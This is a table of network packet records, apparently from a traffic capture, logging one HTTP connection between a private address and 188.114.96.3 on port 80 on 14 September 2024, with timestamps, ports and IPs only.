Sep 14, 2024 18:44:29.756320953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756325006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756340981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756340981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756356001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756397009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756412029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756414890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756427050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756428957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756443977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756443977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756458998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756464005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756473064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756478071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756489992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756495953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756505013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756505966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756522894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756525040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756536961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756537914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756553888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756556034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756568909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756570101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756584883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756586075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756598949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756603956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756616116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756619930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756630898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756635904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756654978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756659031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756674051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756676912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756690979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756691933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756711006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756711960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756726027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756731033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756742954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756747961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756757975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756761074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756777048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756778955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756793022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756793976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756812096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756823063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757028103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757045984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757061958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757072926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757077932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757086992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757093906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757101059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757108927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757114887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757124901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757133007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757142067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757145882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757158995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757164001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757174969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757175922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757190943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757200003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757206917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757214069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757221937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757230997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757237911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757240057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757253885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757260084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757271051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757272005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757287979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757289886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757303953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757308006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757318974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757319927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757333040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757335901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757350922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757354021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757364988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757386923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757607937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757623911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757637024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757651091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757658005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757658005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757666111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757673025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757682085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757687092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757695913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757703066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757710934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757721901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757725954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757730007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757750988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757766008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757778883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757792950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757807970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757817984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757817984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757817984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757817984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757817984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757822037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757831097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757838964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757843018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757855892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757862091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757872105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757872105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757889032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757890940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757903099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757905006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757921934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757929087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757936001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757951975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757960081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757966995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757973909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757978916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757978916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.757982969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.757998943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758013010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758017063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758017063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758029938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758043051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758045912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758060932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758076906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758091927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758097887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758097887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758106947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758107901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758124113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758127928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758141041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758147955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758157969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758161068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758173943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758178949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758188009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758207083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758554935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758572102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758584976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758599997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758615017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758616924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758618116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758618116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758630991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758635044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758646965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758655071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758663893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758668900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758680105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758680105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758699894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758706093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758718967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758722067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758739948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758747101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758753061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758763075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758779049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758785009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758791924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758795977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758812904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758812904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758829117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758832932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758846045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758846998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758862019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758866072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758877039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758878946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758896112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758903027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758912086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758914948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758928061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758934975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758944988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758948088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758960962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758965015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758980989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.758987904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.758996010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759001017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759012938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759017944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759027004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759030104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759047031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759047031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759063959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759064913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759079933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759082079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759094000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759098053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759115934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759126902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759517908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759533882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759547949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759556055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759565115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759566069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759579897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759584904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759596109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759598017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759614944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759614944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759633064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759638071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759645939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759654999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759665966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759670973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759686947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759695053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759702921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759706020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759720087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.759722948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759732962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.759752989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.778014898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778053045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778079033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778080940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.778105021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778131008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778131962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.778157949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778187037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778208017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.778211117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.778230906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807374001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807446957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807450056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807482004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807516098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807522058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807549953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807586908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807595015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807647943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807681084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807686090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807714939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807749033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807754040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807799101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807831049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807837009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807863951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807899952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.807913065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807946920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807980061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.807982922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808013916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808046103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808051109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808079958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808110952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808115959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808150053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808182955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808186054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808234930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808268070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808273077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808307886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808343887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808357954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808391094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808423996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808427095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808458090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808489084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808494091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808540106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808571100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808582067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808604002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808635950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808656931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808667898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808703899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808705091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808738947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808768988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808774948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.808801889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.808835030 CEST	80	54891	188.114.96.3	192.168.2.7
